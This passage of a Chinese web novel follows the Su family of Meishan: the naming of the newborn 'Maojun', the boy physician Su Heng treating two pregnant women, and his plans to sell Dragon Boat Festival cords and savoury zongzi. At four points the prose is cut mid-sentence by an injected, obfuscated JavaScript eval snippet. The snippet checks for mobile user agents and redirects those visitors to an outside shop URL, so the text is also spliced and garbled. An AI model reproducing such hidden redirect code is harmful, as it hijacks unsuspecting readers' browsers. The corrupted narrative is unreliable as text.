“阿父,我想抱抱弟弟!”苏轼很是稀罕这个刚出生的阿弟,觉得弟弟小小一只,看着就很乖巧的样子。 “你抱得动吗?别把你弟弟摔着了。”苏洵不放心,刚出生的幼子虽然瘦弱,但也不轻,想了想,还是没同意给苏轼抱。 “阿父,我就抱一下下!”苏轼不死心,把手伸到襁褓下,试图把弟弟抱过来。 “咦?怎么感觉湿湿的。”苏轼的胖爪子一摸上襁褓,就感觉手感不对,湿漉漉的。收回手一闻,有股淡淡地尿味。 “阿父,弟弟尿尿了!”苏轼大呼小叫起来。 宝元二年二月二十日,苏家幼子诞,以一泡童子尿,和他的二哥打了个招呼。 苏六郎出生次日,苏家发生了一件趣事。 那日,苏家一家人都在院中赏梅。苏六郎刚吃了奶,裹着又厚又暖和的襁褓在程氏怀里睡觉。苏轼和苏轸看着小小只的弟弟,很是眼馋,缠着程氏想要抱抱弟弟。 “弟弟只有一个,你们却有两个人,阿娘该给谁抱呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389646|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”程氏故作为难道。 “给我!” “给我给我!” 姐弟俩又争了起来。 这时,外头有两位贩卖猫儿狗儿之类小宠的商贩路过,他们一前一后运着一笼笼小动物路过苏家。不知怎么,许是笼门没关紧,关着一窝白兔的笼子竟在颠簸中被震开了。一窝白兔立即冲出笼子,四散逃去,转眼间就跑没影了。 两名小贩在原地捶胸顿足,却也无可奈何,最后只能自认倒霉,推着浪子车离开了。 那逃窜出来的白兔中,有一只格外活泼好动,“嗖”地一下就窜进了苏家虚掩的大门,没头没脑地往里冲,正正撞到苏洵的脚边,“嘭”地摔了个底朝天。 苏洵俯身,轻柔地将这只傻兔子捡起。 “哇,是小兔子,阿父,我想摸摸小兔子!”苏轼惊喜地蹦起来。 “阿父,我也想摸。”苏轸对毛茸茸的可爱小兔子也很心动。 “你们两个都想要,可是小兔子只有一只,怎么办呢?”苏洵直接把问题甩给长女和次子自行思考。 “阿姐,弟弟给你抱,这只小兔子就给我抱吧。”苏轼灵机一动。 “我想抱兔子,弟弟还是给你抱吧。”苏轸不为所动。 “我不要!”苏轼跺脚。 采莲端着茶点过来,正巧听见姐弟俩的对话,不由笑道:“三郎君方才不是很想抱六郎君么?怎么这会儿又不想抱了?” “唉,弟弟红红的,皱巴巴的,没有小兔子可爱。”苏轼小大人似的叹了口气。 采莲:“刚出生的小宝宝都是这样的,六郎君的眉眼像极了娘子,等过段时间张开了,定然好看。” “真的吗?”苏轼的视线在苏辙和程氏之间来回转,眉头皱得更紧了,“像吗?我怎么没看出来……” 苏轼年纪小小就已经有严重颜控倾向,站在原地嘀嘀咕咕了好一阵。 “兔子养着,大家一起玩。”苏衡见苏轸和苏轼两人迟迟争论不出一个结果,开口道。 仲春二月,寒梅吐蕊,素白的花瓣小巧精致,一簇簇点缀在梅枝上,暗香浮动,清影幽幽。春日的阳光穿过掩映的白梅花枝,照亮了树下少年的眉眼。 少年肤色白皙,欺霜赛雪,著一袭青衣,眼帘微垂,怀里正抱着一只白兔。 原来,苏洵竟在苏轸和苏轼姐弟俩争抢时,悄无声息地把兔子塞长子怀里了。 苏轼眼前一亮,“嗖”地一下黏过去,喜滋滋地贴着苏衡,心里像个痴汉似的“嘿嘿”直笑,嘴里嚷道:“好,我听阿兄的!” 果然还是兄长更养眼。兄长最最最好看了! “我也听阿兄的。”苏轸乖巧点头。 “阿噗!”程氏怀里的苏六郎似乎醒了过来,吐了吐泡泡,旋即瘪着小嘴,嚎啕大哭起来,“哇——哇——” “乖,不哭不哭啊,阿娘在这呢。”程氏轻声哄着小儿子。 苏洵瞅瞅刚出生的幼子,又看了看围着白兔的三个孩子,想起幼子正好属兔,突然福至心灵。 于是,苏家六郎有了个很可爱的小名——卯君。 不过嘛,苏轼更喜欢喊家里养的小兔子“糯米团子”,喊最小的弟弟“小兔子”。 21. 京城来信 阳春三月,春景明媚,和煦的春风拂过眉山这座依山傍水的小城。城中百姓日出而作,日落而息,日子过的安乐而平静,仿佛不受外界纷扰。 纱縠行中,苏家刚添新丁,昨日才摆了场热热闹闹的满月酒。今日家中无事,苏洵搬了张椅子,坐在院中梨花树下,悠闲地扇着蒲葵扇。 院子里的菜畦被采莲打理得极好,前些日子刚种下一行生菜、一行韭菜、一行黄瓜苗,还有一行苏轸苏轼姐弟俩强烈要求的胡萝卜。这行胡萝卜长成后,将会成为苏家新成员——一只叫“糯米团子”的白兔子的口粮。 靠近菜畦的墙角处堆放着一捆细竹竿,那是采莲专门备着,等黄瓜幼苗长叶抽蔓时,拿来搭篱架的。 院子西面还种了不少果树,主要是石榴树。现下还没到石榴花的花期,满树都是浓密的枝叶,绿意盎然。高大的树荫下,苏轸和苏轼正饶有兴致地拿着胡萝卜喂兔子。苏衡在一旁看着弟弟妹妹玩耍。 最小的苏六郎刚刚睡醒,程氏见了,连忙轻轻摇动摇篮哄他。苏六郎因为一睁眼就看见了程氏,所以安安心心地在小摇篮里躺着,不哭也不闹,倒是个乖宝宝。 黄莺儿在枝头梳理着羽毛,偶尔仰头向着天空啼叫几声。澄澈蔚蓝的天空中飘着几朵流云,春日的暖阳为它们镶上了金边。好一派和乐闲适的风光。 然而,一封来自京城的家书打破了苏家的宁静。 苏洵拆开小厮送来的信件,细细浏览,原本舒展的眉头渐渐皱起。 吾弟亲启: 久别思念不忘,盼家中安好。遥知吾弟再获麟儿,不胜欢喜。涣独居京城,茕茕孑立,形影相吊,不胜唏嘘。 …… 京城近来隐忧不断。去岁冬,鄜延路言西平王赵元昊反。朝廷明令禁边人与元昊互市。元昊狼子野心,果于今春正月,建国大夏,妄自称帝。 …… 朝中风雨欲来,恐战事不日即发。闻衡儿无心仕途,立志从医,或为幸事。文人以儒治天下,将士以武平天下,医者以仁安天下。医,亦济世之道也。 …… 涣谨启 这封信是远在汴梁的苏涣寄来的,随信还附了一份邸报。邸报由朝廷刊发,可以说是官办的报纸,上面一般刊载一些时政要闻、法规政令之类的内容。 苏洵并无一官半职,平日里是接触不到邸报的。蜀地消息闭塞,苏涣与苏洵书信往来,常常会随信附上邸报,好让苏洵对朝中之事有所了解。 巧的是,苏洵看信期间,贵生道人也托人给苏衡送来一张纸条。那纸条边缘并不齐整,看起来像是随意撕下来的。 “唉——”苏洵与苏衡齐声叹气。 程氏见了,奇道:“你们父子俩这是怎么了?” 苏衡默默看向苏洵,示意苏洵先说。 “也没什么,兄长来信,为卯君贺生。还有就是——”苏洵突然顿住。 “嗯?”程氏眨眨眼。 “还有就是,兄长很支持衡儿学医。”苏洵缓缓道。时局将乱,但蜀地天险,大概率出不了什么乱子。西平王一事就不告诉慧娘了,免得她忧心。 “这不是好事吗?你叹什么气啊。怎么,还在为衡儿学医一事不高兴呢?”程氏挑眉。 “不是,我没有。”苏洵连忙否认。 “衡儿你呢”程氏转头问道。 苏衡将手里的纸条放好,略有些郁闷地说:“师傅他今日一早便离开眉山了,说是临时有事。” “这般突然?贵生道长可有说何时回来?”程氏问。 苏衡摇头:“不知。而且,师傅还把他没来得及诊治的一位病人推给我了,说是留给我的功课。” 几人正说话间,苏家门外就响起了叩门声。 “咳咳,请问,咳咳,有人在吗?” 青枝离门最近,连忙跑去开门。她定睛一看,门外竟是一位挺着大肚子的妇人。那妇人一手捂着肚子,一手以帕掩唇,眉心紧皱,咳得厉害。 青枝顿时有些手足无措:“那个,这位娘子,您不要紧吧?” “这里,咳咳咳,这里是贵生道长的徒弟,苏小神医的家吗?”那妇人艰难地问道。 “啊……是是是!”青枝愣了一会儿才反应过来。 “有劳,咳咳咳咳咳,我找小神医。” “我家三郎君就在院子里。我扶您过去吧。”青枝连忙上前把人搀扶住。 苏衡没想到,他师傅给他布置的功课,这么快就“找上门”了。 程氏见来人是个大着肚子的孕妇,忙道:“青枝,快把这位娘子扶到靠背椅上。” “是。”青枝应道。 “小神医,咳咳,能否劳烦你,咳咳咳,帮我看看,咳咳,我这咳嗽还有腹痛能不能治……咳咳咳咳咳”妇人一句话说得断断续续,咳嗽声不停。 苏衡见妇人说话艰难,也不多问,直接伸手,先为妇人诊脉。 “咦?这不是宋大娘吗?”采莲原本在厨房忙活,听说院子里来了一位求医的孕妇,便放下手中的活计,到院子里来帮忙。等走进了定睛一看,采莲才发现那大肚子妇人竟是熟人。 “莲姨,你认识这位婶婶?”苏轼歪头问道。 采莲点点头:“宋大娘每日都在早市卖芥辣瓜儿和姜辣羹,我常去早市采买食材,所以认得。” 苏衡为宋大娘把完脉,闻言便道:“那正好。宋大娘咳得厉害,言语不便。我有几个问题想问她,莲姨你若是知道,可否帮忙回答。” 采莲自然迭声答应。 “方才你说宋大娘在早市卖羹,她怀孕之后,仍继续做生意吗?” 采莲点头:“是。我每日买菜都能见到她。她那肚子一日比一日大了,大家都劝她歇歇,在家养胎,可是她说家里就靠着她卖吃食挣点钱,她在家歇着,家里头就没钱开饭。” 宋大娘一边听一边点头,表示采莲没说错。 苏衡听了,眉头微皱,继而又尽量简洁明了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404305|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问了几个宋大娘自己才能回答的问题,比如腹痛和咳嗽出现的时段、频次、持续时间等等。 “你这是过劳体弱,外感风寒,导致久嗽不止,胎动腹痛,宜服用百合汤。”望闻问切四诊合参毕,苏衡提笔写下百合汤的方子:百合三钱、茯苓二钱、紫苑、贝母各一钱、白芍、当归、桔梗各一钱五分、前胡、苏叶各五分。 “青枝,你拿着这方子去医馆抓药,抓够三服。”程氏虑及宋大娘的情况,担心她没太多钱抓药,便做主让青枝直接去医馆按方买药回来。 “是。” 青枝领命而去,没多久就提着包好的药材回来。宋大娘千恩万谢,掏出钱袋想要付诊金和药钱,被采莲按住了。 “这药是我们娘子给你的,你就收着吧。下次我去你那买芥辣瓜儿,多给我几勺就行。” 宋大娘自是感激不尽,接过药包扶着肚子回家了。等她离开,采莲这才把宋大娘家里事情一一道来,解了大家心头一些不好当面问询的疑惑。 原来,宋大娘有个好吃懒做的丈夫,不仅成日不着家,还好赌成性,全靠宋大娘早起卖羹,勉强养家糊口。宋大娘有孕后,原本打算等显怀了就歇一歇。辛苦这么些年,她卖芥辣瓜儿和姜辣羹多少也攒了一些钱。 可谁知,她那赌鬼丈夫欠了赌坊的债。为了还债,家里那笔备用金早就被他拿去填赌坊债务的大窟窿了。无奈之下,宋大娘只好顶着初春微寒的冷风,继续早起卖羹。外感风寒,加之积劳成疾,宋大娘一下子就病倒了。 “这赌鬼丈夫真可恶!这种人就应该抓起来,不给饭吃!”苏轼还是孩子心态,在他心中,最重的惩罚就是不给人饭吃。 “宋大娘是个苦命人。她家和咱们就隔了两条巷子,这几日,我得空就去看看她,能帮一把就算一把。希望她能快点好起来吧。”采莲叹气道。 “嗯!”苏轼握紧两个小拳头,大声支持道,“我们这几日朝食还可以顿顿吃芥辣瓜儿和姜辣羹,多多帮衬宋大娘的生意!” “我看是你自己馋了吧。”苏轸毫不留情地揭穿他。 “哪有!”苏轼捂脸吼道。 于是,苏家连续好几日的朝食里,还真的出现了芥辣瓜儿和姜辣羹。苏轼其实不太能吃辣,但是他又菜又爱吃。 那芥辣瓜儿就是用芥末酱腌渍的腌黄瓜,吃起来酸爽无比,味道直冲鼻腔。姜辣羹则是用鱼头鱼尾和大量的姜末熬制的鱼汤,尝起来既有河鱼的鲜美又有姜末的辛辣。 此时正值初春,乍暖还寒,早上用些辣味的吃食确实能暖和暖和身子。苏轼这个小菜鸟是一边吃一边“哼哧哼哧”地吸气吐舌头。 这日,苏家人刚用过朝食,苏轼抱着一杯水猛灌,以解辣味。苏家的大门再一次被人敲响。 “这一大早的,会是谁呀?”采莲正在收拾桌上的碗筷和菜碟,腾不出空。 青枝见状,便主动小跑着去开门。门一打开,她就被吓得大叫一声。 “啊!” 22. 阮氏夫妇 青枝一打开门,就看见一个高高隆起、大得离谱的肚子,顿时被吓得尖叫一声。 没成想,那“肚子妖”似乎是个胆小的,竟被青枝反过来吓得打了个哆嗦。 “咦?”等青枝冷静下来,定神细看,才发现原来那压根不是什么“肚子妖”,而是一位大着肚子仰躺在浪子车上的孕妇。 浪子车没有车辕,只有一块平板,两个轮子,纯靠人力拉动。走街串巷卖糕糜等吃食的小贩常常拉着这么一辆浪子车,边走边叫卖。 青枝还是第一次看见有人用浪子车来拉人的,拉的还是一位肚子特别特别大的孕妇,不由得开始思考起用浪子车来拉人安不安全,上面的人会不会因路途颠簸,不小心掉下来。 “让你去开个门,怎么又开始发愣,想什么呢,这么入神。”听到熟悉的声音,青枝一下子回过神来,循声回头,就看见采莲那张似笑非笑的脸。 原来,程氏听见青枝的那声尖叫,担心外头出了事,便让采莲也过去看看。 “两位娘子,我们是慕名来求小神医治病的。”那小山一样的肚子后边探出一颗脑袋。 “呀!”青枝又被吓了一跳,一时有些怔住了。 说话的那男子见青枝不作声,正兀自忐忑,便听见采莲开了口。 “几位客人先进来吧。”采莲沉稳地招呼访客进屋细说。 男子顿时喜不自胜地看向一处,从那处墙角站起来一个人,十分突然,像雨后冒出的蘑菇。 “哎哟,吓死了。原来这里也有一个人。”青枝拍着胸脯说道。 “这是我阿弟。方才他有些累了,因此蹲在墙角歇息。”男子不好意思地解释道。 “都进来吧。”采莲指挥道。 男子闻言,连忙和他弟弟一起,一个在前拉一个在后推,用浪子车把大肚子孕妇运进了苏宅。 苏衡看见两个腰挂斗笠,打着绑腿,穿着蒲鞋的男子推着一个肚腹壅大,高过心胸的孕妇进屋,神色半点不变。一旁的苏轼倒是颇感惊奇地睁大了双眼:“好大的肚子!里面的宝宝该有多大呀!” 那两人小心翼翼地在采莲的帮助下,把孕妇从浪子车挪到一张卧榻上。其中一人转身看见苏衡,突然朝着他直直跪下,神色戚戚地恳求道:“求小神医救救我娘子!” 苏衡侧身避开,还未开口,爱子心切的苏洵就大步上前,把将人拉起,肃声道:“这位兄台请起,犬子年纪尚幼,当不得这一跪。” 几人说话间,榻上的孕妇突然一阵急喘,那小山一样高耸的大肚子随之起伏。男子听着,又是心疼又是心焦,三步并作两步迅疾走至榻前,握住孕妇的手,哀声呼唤:“隽娘——” 苏衡自那大肚子孕妇被送进屋,便开始留心观察她的神、色、形、态,心中已有了初步的推断。此时听见病人急喘,更是多了几分笃定。 “你与你娘子是否都是打鱼为生?”苏衡突然开口问道。 “是是是!”男子连忙点头,奇道,“小神医你怎么知道?” “我也知道!”苏轼仰头朗声说道,“这位叔叔你一身渔人打扮,早就暴露啦。” 那男子饶头,尴尬一笑:“好像是的……” 那大肚子孕妇仰躺着,又有急喘,说话不变。苏衡便转而与那男子问答一番,好对病人的情况有更详细的了解。 原来,这对夫妇都是靠打鱼为生的渔人。男子叫阮大郎,他的妻子是个孤女,不知名姓,嫁给阮大郎后,自然而然从了夫姓,旁人都唤她阮娘子。 阮氏夫妇为了撒网捕鱼方便,大部分时间都住在玻璃江边上。每日打了鱼就用桶装了,运到集市上卖。阮娘子怀孕后,不知怎么,肚子越来越大,甚至大到高过心胸的地步,不仅如此,四肢也开始水肿,整个人像被吹了气一般,胀了起来。 一开始,阮娘子病情没那么严重,还能扶着肚子走路。阮大郎带她去眉山的两家的医馆都看过。城北的林郎中与城南的秦郎中都说是得了风湿,开了些甘草附子汤之类的药方。两人高高兴兴地买药回家,阮娘子服过药汤,初时还有点效果,但过段时间病情又加重了。 阮氏夫妇手头并不宽裕,只请得起县里的郎中。可县里的郎中医术有限,开的方子效用不大。原本阮大郎都打算变卖家产,去成都府求医。听说成都府有位柏郎中,人称“妇科圣手”,极擅长治女子病。 巧的是,这件事被经常找他们买鱼的宋大娘知道了。宋大娘前段时间又是腹痛又是咳嗽,是苏衡开了药方,给她治好的。宋大娘得知阮氏夫妇的事情后,便向他们极力推荐苏衡。 两人听说苏衡年纪虽小,却医术了得,师从鼎鼎有名的道医贵生道长,去天庆观求医的不少病人其实都是苏衡给开的方。据说,成都府的名医柏郎中也夸赞过苏衡天资卓绝。最重要的是,苏衡前段时间治好了宋大娘的病。 宋大娘也是孕妇,还是阮氏夫妇的老熟人,有这样一个活生生的案例在,阮氏夫妇便坚定了找苏衡求医的信心。 苏衡围绕阮娘子的病情问了阮大郎几个关键问题,心中已有了成算,再一把脉,病情便十分明晰了。 阮娘子这病看着严重,其实比宋大娘当初的情况还要好上一些。孕中水肿,是因为孕妇常住江边,湿气重,以致水气过甚,正气不化,溢于皮肉。若阮氏夫妇当时立即搬离江边,找处向阳和暖的屋子住上一段时间,等阮娘子生产后,这病便能不治而愈。 如今阮娘子水肿胀满,气逆喘急,损及腹中胎儿,病情已非换地方居住就能解决的了。 沉吟片刻,苏衡提笔,利落地将药方写好,交予采莲。 采莲接过药方,正打算速速去医馆抓药,不经意一瞥方子,顿住了脚步:“三郎君,这是……鲤鱼汤?” “鲤鱼汤?!很好喝的!”苏轼一听到好吃的立刻条件反射似地两眼放光。 苏衡面无表情地看他一眼,冷酷无情地说:“不是给你喝的鱼汤,这是给病人喝的药汤。” 采莲细看药方,发现除了一尾两斤重的鲤鱼,上面还写了白术、芍药、当归、茯苓等药材,这才反应过来,此鲤鱼汤非彼鲤鱼汤。但是—— “这当口,集市上恐怕买不到新鲜的鲤鱼”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412424|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采莲有些犯难地说,“早市已经结束了,卖鱼的摊子早就卖光河鲜,收摊回家了。最早也要等到明日的早市,才能去鱼摊买到新鲜河鲤。” “鲤鱼性味甘温,利水除湿,是这药方里不可或缺的一味药”,苏衡淡声道,“既如此,只好等明日早市了。” 这可不行!多等一刻,隽娘就要难受一刻。阮大郎一下子急了,爱妻心切的他腾地站起身:“我去钓!” “玻璃江那么大,水里的鱼种类那么多,要想钓上来一尾鲤鱼,那也太难了……”青枝在一旁小声嘀咕。 “鲤鱼……”,苏轼皱着眉头鼓着小脸思索了一会儿,猛地想起了什么,“我知道哪里有鲤鱼!杨伯伯家的荷花池里养了好多好多鲤鱼,二堂哥带我去摘莲蓬的时候我亲眼见到的。” “真的?我现在就去求杨老丈,求他卖我一尾鲤鱼!”阮大郎片刻也等不及,脚下生风地径直往杨老丈家去了。 苏衡垂下眼睫,看着苏轼,神色淡淡:“是吗。摘莲蓬的时候看到的。” 苏轼后知后觉自己不小心说漏了嘴,被兄长这冷淡的一眼看得全身的皮子都紧了紧,忙甩锅给苏不疑:“不是我要去的,是二堂哥非拉着我去的!” “嗯。”苏衡依旧是平淡无波的语气。 苏轼苦着一张笑脸,欲哭无泪:“阿兄,我再不敢了……下次二堂哥再哄我去偷莲蓬,我一定告发他!” “嗯。”苏衡的语气回暖了一点点,“三张大字。” “是!”苏轼松了一口气。兄长罚他写三张大字而已,他认了。只要兄长别不理他,让他做什么都行! 那厢,阮大郎上门求买鲤鱼,杨老丈原本不想搭理。他荷塘里的鲤鱼与荷花一样,都是他的心爱之物。他寡居无聊,整个宅子也就剩这一池荷花与鲤鱼添几分鲜活气,因而轻易不把花与鲤鱼卖人。 阮大郎见杨老丈不为所动,以为是他是对价钱不满意,便提出可以加钱。杨老丈听了,脸色反而更黑了,正打算强行关门,便听见阮大郎提到了苏衡。杨老丈面色微缓,这才有耐心细听阮大郎买鱼的缘由。 “既然是苏三郎给你开的药方,那老夫便送你一尾鲤鱼。”杨老丈很快回了院子,从荷塘里捞了一尾肥大的鲤鱼出来。 “多谢老丈!”阮大郎千恩万谢地提着大鲤鱼回了苏宅。 苏家的小厮已经跑去最近的秦家医馆把其他药材买回来了。采莲手脚麻利地把鲤鱼料理了,按照苏衡写的方子,煎了足足三升的鲤鱼汤,分五次喂阮娘子服下。很快,阮娘子便气顺肿消,可以扶着肚子行走了。 眉山是座小县城,城里百姓彼此相熟,有什么消息也互通有无。苏家小神医先后治好了宋大娘和阮娘子的事迹不知何时便传遍了整个眉山县。 家里有孕妇的,不管有病无病,都纷纷上门。有病的求医,无病的也来凑凑热闹,求小神医开些孕中养胎安胎的方子。 不过,眉山这么个小县城,也没有几个身患疑难杂症的孕妇。于是,这个热潮持续了数周,便渐渐止歇。但苏衡“小神医”的名号却被传得越发响亮了。 23. 花样百索 “一、二、三、四……”程氏从衣橱的隐蔽角落取出钱箱,一串一串地数着铜钱。 “唉——”合上乌木打造的钱箱,又上了铜锁,程氏心算了一下一家人的花销,不由得面露愁容。 “慧娘,可是家中银钱告急了?”苏洵见状问道。 程氏轻轻点头:“家中人口越来越多,自生了卯君后,又多了一大笔花销。光靠我织布纺纱和你抄书挣得的银钱,已经难以涵盖家中支出。如今,家里已是入不敷出,最多还能捱个半年左右,家中就无银钱买米开锅了。” 苏洵闻言,也有些发愁,但他是家中顶梁柱,万不可第一个倒下,因此还是强笑着安慰程氏:“慧娘,你别着急,我来想办法。” 门外,苏衡缓缓收回想要敲门的手,垂眸不语。 他原本有事想找苏洵商量,没想到刚巧听到房中的对话。平日里没注意,原来家中已这般艰难。得帮着家里想些挣钱的法子……苏衡沉思片刻,计上心头。 “阿妹,我有事想与你商量。”苏衡先是找上了苏轸。 苏轸正在整理端午编百索要用到的五色丝线。这些丝线颜色不一,乱糟糟地互相缠绕,打了不少绳结,需要把它们一根根拣出来理顺,这样编起百索来才能又快又好看。这份活计十分考验眼力与耐心,程氏为了锻炼长女,便将梳理五色丝线的任务交给了苏轸。 夏日炎炎,院中太阳毒辣,苏轸便用躲在房里干活。苏衡找到她时,她面前已经放了两个小竹筐,一筐是待整理的丝线,一筐是已经整理好的丝线,不知不觉,苏轸已经理完了一大半。 “阿兄有何事?”苏轸见苏衡进来,杏眼一亮,很是欢喜。 沉默片刻,苏衡缓声道:“阿父阿娘进来在为银钱发愁,我想了一个能挣钱的法子,需要你的帮忙。” 苏轸乖巧道:“阿兄请讲。” “再过几日便是端午,我想拜托你和伯母家的堂姐们编织一批样式新鲜好看的百索。纹样和编织的方法我都画出来了,你看看。”苏衡把准备好的纹样图拿出来,递给苏轸。 苏轸接过一看,立刻爱不释手:“阿兄,画上的这些百索样式真好看,原来百索还能这样编!”不愧是她最最崇拜的阿兄。 苏衡神色平淡,并不觉得这有什么。所谓端午百索,就是用五彩丝线编成的手绳,系在手腕、脖子等处,据说可以辟邪消灾。 前世,他那位东坡迷好友,为了追求心上人,特意买了一本手绳编织大全。因为当时“幸运”手绳很是流行,他那位好友就想学会了之后,编一条漂亮的手绳送给他的女神。可惜,等真正上手了,他好友才发现自己是个手残。在好友的死缠烂打与百般央求下,最后是苏衡帮他编好了一根据说难度系数最高,编出来也最好看的手绳。 苏衡过目不忘,哪本手绳编织大全里的内容他都还记得。现在,正好派上用场。 “我知道了,阿兄是想让我和几位堂姐编织一批新巧的百索,好拿去卖了换钱,对不对?”苏轸这时也反应过来了。 苏衡颔首:“嗯。” “我会努力的!”苏轸斗志满满地握起了小拳头。 和苏轸商量完,苏衡又找上了采莲。 采莲正在厨房里忙活,指挥青枝和金蝉一起包粽子,为五日后的端午做准备。 “三郎君,你来厨房做什么?这里烟熏火燎的,热得慌。”金蝉体胖,最是怕热,她一边往手里卷成锥状的箬叶里头添糯米,一边汗如雨下。 “莫不是饿了?我刚煮好了一批粽子,正放那晾凉呢。要不要尝一个?”采莲熟能生巧,包粽子的速度是三人中最快的,还没等人看明白是怎么回事呢,一个漂亮的三角粽就包好了。 苏衡走到采莲说的晾粽子的地方,那里摆了一个大簸箕,簸箕里密密麻麻摆满了形状不一的粽子。苏衡在心中默默给这些粽子分了类,主要是三种粽子:角粽、筒粽和锥粽。 “莲姨,这些粽子都是什么馅儿的?”苏衡抬头问道。 采莲手速飞快地拿起一片长而宽的箬叶,不知怎么卷地地就三下五除二地把那箬叶卷成了筒状。箬叶是箬竹的叶子,用处极多,除了包粽子,还能拿来编竹笠,防水又耐用。 “三郎君,那角粽里放的是沙糖,筒粽里头放的是去年做的桂花蜜,锥粽里头呢,放的是蜜饯。你喜欢那种馅儿的,尽管挑。”采莲忙得头也不抬。 一旁的青枝笑着补充道:“采莲姐姐还在琢磨,要不要再做些别的内馅儿呢。听说彭山县有人卖栗粽,里头搁的是糯米和煮得绵软成泥的栗子蓉。采莲姐姐也试试包个栗粽出来呢。” “栗棕?”苏衡沉默了一瞬才道,“也是甜口的吧?” “那是自然。这端午的粽子不都是甜口的吗?难不成——还有咸的?”青枝停住了手上的动作,朝苏衡看去,见苏衡肯定地点头,吃惊地瞪大了眼睛。 此时的粽子都是清一色的甜粽,除了糯米,里头用来调味的不是沙糖、花蜜就是蜜饯。一口咬下去,能把人甜齁。尤其是此时的沙糖还不是后世的固体状砂糖,而是液体状的糖浆,确切地说,是蔗糖浆。但甜味好像是稀缺品,越是有钱人家,越喜欢往吃食里放多多的糖。 彭山县的栗蓉粽听起来不算太甜,这已经算得上创新了。 “我倒是差点忘了,三郎君不爱吃甜食。”采莲懊恼地一拍脑门。 “甜粽家家都会做,集市上也有很多卖甜口粽子的。我们不如另辟蹊径,做些咸口的粽子,拿到玉局道观的端午市集上卖,或许能吸引到客人呢?”苏衡提议道。 “卖粽子?”就连一向稳重的采莲都吃惊得停下了手头的活计,“三郎君,你怎么突然想到要做买卖了?” 沉默一瞬,苏衡缓声道:“我只是在想,阿娘与你们平日里织布辛苦,家中进项主要靠卖布卖纱。莲姨的手艺好,在整个眉山县也是数一数二的。过几日便是端午,不如做些新口味的咸粽拿去卖,也好为家中添些进项。” “三郎君真是长大了。”采莲自幼就在程家,在程氏还未出嫁时就已经服侍在她左右。对程氏的长子苏衡,采莲可以说是看着他从襁褓里的小婴儿长成如今的小少年的。苏衡为家中生计着想,有心为程氏分忧,采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419002|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莲深感欣慰。 “咸粽确实少见,只是,里头应当放什么馅儿,尝起来才会好吃呢?若只是口味新奇,味道却不好,恐怕也不会有太多回头客。”采莲皱眉沉思起来。 苏衡提醒道:“夏日炎热,绿豆性寒,有清热解暑之功效。可以往粽子里头放些绿豆,再用盐来调味。喜欢吃肉的,可以再放些五花肉,还可以放些虾米提鲜。” “好主意”,采莲到底是经验丰富的庖厨,立刻受到启发,“我腌的咸鸭蛋也能吃了。今儿早上刚切开一个,红油直接冒了出来,那蛋黄吃着也入味,是绵密又带点松沙的口感,香得很。可以把咸鸭蛋切成块包进粽子里,味道绝对差不了。” “听起来就好吃得紧,采莲我们赶紧包一批咸粽,煮了尝尝。我都快流口水了。”青枝心急地催促。 “阿兄,可算找到你了。原来你在这儿呢!”小黏糕苏轼虽迟但到。 今天用过朝食,苏轼就被苏洵叫去书房了,说是要考察他这几个月以来学习的成果。苏轼进了书房,就被苏洵兜头抛来了一大堆问题,不是字词辨认就是背诗。这场考校足足进行了一个时辰才结束。 等苏轼好不容易得到苏洵的肯定,走出书房,就发现苏衡和苏轸都不见了,急得苏轼满屋子找人。 苏轼最先找到了苏轸。苏轸已经把那一大团五色丝线整理好了,见苏轼冒冒失失地闯进来,还不高兴地”哼“了一声。 听到苏轼问起苏衡的去向,苏轸杏眼一转,笑得像只狡黠的狐狸,同时又带着一丝偷到鸡的得意:“不知道呀,阿兄方才‘特意’来寻我,交代给我一件事便离开了。” 苏轸有意加重了“特意”这两个字,很难说没有炫耀的意思。 “阿兄交代了你什么事?”苏轼眨眨眼,追问。 “这个嘛——”苏轸拖长声音,买了个关子,“这是我与阿兄之间的秘密,不能告诉你。” 苏轼危机感顿生。兄长居然和阿姐有了专属小秘密!于是,苏轼气鼓鼓地离开,继续找苏衡,终于在厨房找到了人。 